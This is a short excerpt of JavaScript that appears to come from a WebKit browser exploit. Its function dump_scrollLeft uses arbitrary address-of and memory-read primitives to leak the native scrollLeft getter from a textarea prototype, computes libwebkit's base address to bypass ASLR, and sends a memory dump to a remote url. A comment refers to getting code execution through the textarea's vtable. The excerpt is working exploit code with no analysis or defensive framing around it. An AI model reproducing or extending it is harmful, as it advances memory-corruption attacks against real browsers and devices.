| 207 | // See howto_code_exec.txt about code execution via the vtable of a textarea |
| 208 | // element. |
| 209 | function dump_scrollLeft() { |
| 210 | let proto = Object.getPrototypeOf(textarea); |
| 211 | proto = Object.getPrototypeOf(proto); |
| 212 | proto = Object.getPrototypeOf(proto); |
| 213 | |
| 214 | const scrollLeft_get = |
| 215 | Object.getOwnPropertyDescriptors(proto).scrollLeft.get |
| 216 | ; |
| 217 | |
| 218 | // get the JSCustomGetterSetterFunction |
| 219 | const js_func = mem.addrof(scrollLeft_get); |
| 220 | const getterSetter = js_func.readp(0x28); |
| 221 | const getter = getterSetter.readp(8); |
| 222 | |
| 223 | const libwebkit_base = find_base(getter, true, true); |
| 224 | const offset = getter.sub(libwebkit_base); |
| 225 | send( |
| 226 | url, |
| 227 | make_buffer(getter, 0x800), |
| 228 | `scrollLeft_getter_dump_offset_${offset}.bin`, |
| 229 | () => log('sent') |
| 230 | ); |
| 231 | } |